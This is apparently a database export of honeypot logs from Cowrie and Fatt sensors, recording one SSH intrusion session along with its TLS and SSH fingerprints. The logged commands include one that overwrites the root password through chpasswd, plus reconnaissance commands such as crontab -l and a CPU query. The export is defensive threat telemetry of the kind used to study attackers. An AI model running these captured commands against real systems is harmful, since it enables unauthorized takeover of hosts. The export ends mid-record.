35331	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:29.702795+03	2021-09-20 15:15:03.125689+03	{"_id": "gwYbA3wBvYTbRNuEkFuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "echo \\"root:pgKPwAOnlI6i\\"|chpasswd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: echo \\"root:pgKPwAOnlI6i\\"|chpasswd|bash", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:29.702795Z", "@timestamp": "2021-09-20T12:08:29.702Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35333	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:08:30.337702+03	2021-09-20 15:15:03.12869+03	{"_id": "igYbA3wBvYTbRNuEk1sg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36114, "dest_port": 443, "timestamp": "2021-09-20T12:08:30.337702", "@timestamp": "2021-09-20T12:08:30.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35334	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:30.880484+03	2021-09-20 15:15:03.129691+03	{"_id": "jgYbA3wBvYTbRNuElFuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:30.880484Z", "@timestamp": "2021-09-20T12:08:30.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35335	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:08:26.751784+03	2021-09-20 15:15:03.13069+03	{"_id": "XAYbA3wBvYTbRNuEg1uC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.253.30.249", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36416, "timestamp": "2021-09-20T12:08:26.751784", "@timestamp": "2021-09-20T12:08:26.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35336	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:26.748262+03	2021-09-20 15:15:03.131689+03	{"_id": "XgYbA3wBvYTbRNuEhFv1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.253.30.249:36416 (192.168.176.2:22) [session: 13be58f0efff]", "session": "13be58f0efff", "@version": "1", "protocol": "ssh", "src_port": 36416, "dest_port": 22, "timestamp": "2021-09-20T12:08:26.748262Z", "@timestamp": "2021-09-20T12:08:26.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	SE
35337	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:26.807837+03	2021-09-20 15:15:03.13269+03	{"_id": "XQYbA3wBvYTbRNuEhFv1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:26.807837Z", "@timestamp": "2021-09-20T12:08:26.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	SE
35340	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:31.43404+03	2021-09-20 15:15:03.136691+03	{"_id": "kwYbA3wBvYTbRNuElFuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "159.253.30.249", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.11658763885498047, "duplicate": true, "timestamp": "2021-09-20T12:08:31.434040Z", "@timestamp": "2021-09-20T12:08:31.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35341	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:31.634267+03	2021-09-20 15:15:03.137689+03	{"_id": "lAYbA3wBvYTbRNuEmFuC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:31.634267Z", "@timestamp": "2021-09-20T12:08:31.634Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35342	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:31.969187+03	2021-09-20 15:15:03.13869+03	{"_id": "mQYbA3wBvYTbRNuEmFuC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:31.969187Z", "@timestamp": "2021-09-20T12:08:31.969Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35343	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:32.086794+03	2021-09-20 15:15:03.13969+03	{"_id": "mwYbA3wBvYTbRNuEmFuC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "159.253.30.249", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.11769223213195801, "duplicate": true, "timestamp": "2021-09-20T12:08:32.086794Z", "@timestamp": "2021-09-20T12:08:32.086Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35344	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:32.264597+03	2021-09-20 15:15:03.14069+03	{"_id": "nAYbA3wBvYTbRNuEmFuC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:32.264597Z", "@timestamp": "2021-09-20T12:08:32.264Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35345	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:32.265141+03	2021-09-20 15:15:03.14269+03	{"_id": "nQYbA3wBvYTbRNuEmFuC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:32.265141Z", "@timestamp": "2021-09-20T12:08:32.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35346	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:32.391124+03	2021-09-20 15:15:03.144691+03	{"_id": "ngYbA3wBvYTbRNuEmFuC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "159.253.30.249", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.12661218643188477, "duplicate": true, "timestamp": "2021-09-20T12:08:32.391124Z", "@timestamp": "2021-09-20T12:08:32.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35347	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:33.07386+03	2021-09-20 15:15:03.145691+03	{"_id": "oAYbA3wBvYTbRNuEnFtp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "159.253.30.249", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.11659860610961914, "duplicate": true, "timestamp": "2021-09-20T12:08:33.073860Z", "@timestamp": "2021-09-20T12:08:33.073Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35348	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:33.859462+03	2021-09-20 15:15:03.14769+03	{"_id": "pwYbA3wBvYTbRNuEoFtT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "159.253.30.249", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.16683602333068848, "duplicate": true, "timestamp": "2021-09-20T12:08:33.859462Z", "@timestamp": "2021-09-20T12:08:33.859Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35349	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:34.061734+03	2021-09-20 15:15:03.148689+03	{"_id": "qAYbA3wBvYTbRNuEoFtT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:34.061734Z", "@timestamp": "2021-09-20T12:08:34.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35350	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:33.693252+03	2021-09-20 15:15:03.149689+03	{"_id": "rQYbA3wBvYTbRNuEoFtU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:33.693252Z", "@timestamp": "2021-09-20T12:08:33.693Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35351	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:34.177263+03	2021-09-20 15:15:03.150691+03	{"_id": "qgYbA3wBvYTbRNuEoFtT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "159.253.30.249", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.11561226844787598, "duplicate": true, "timestamp": "2021-09-20T12:08:34.177263Z", "@timestamp": "2021-09-20T12:08:34.177Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35353	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:29.760822+03	2021-09-20 15:15:03.15369+03	{"_id": "eAYbA3wBvYTbRNuEkFuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 0, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5f03ff64ca658df6a461e72e7161ecf267009c9b1e4eb2e6877e91ca48128c92", "src_ip": "159.253.30.249", "ttylog": "log/tty/5f03ff64ca658df6a461e72e7161ecf267009c9b1e4eb2e6877e91ca48128c92", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5f03ff64ca658df6a461e72e7161ecf267009c9b1e4eb2e6877e91ca48128c92 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.05873274803161621, "duplicate": false, "timestamp": "2021-09-20T12:08:29.760822Z", "@timestamp": "2021-09-20T12:08:29.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35354	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:30.998271+03	2021-09-20 15:15:03.15469+03	{"_id": "kAYbA3wBvYTbRNuElFuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "159.253.30.249", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.11786746978759766, "duplicate": true, "timestamp": "2021-09-20T12:08:30.998271Z", "@timestamp": "2021-09-20T12:08:30.998Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35355	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:30.881037+03	2021-09-20 15:15:03.15569+03	{"_id": "jwYbA3wBvYTbRNuElFuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:30.881037Z", "@timestamp": "2021-09-20T12:08:30.881Z", 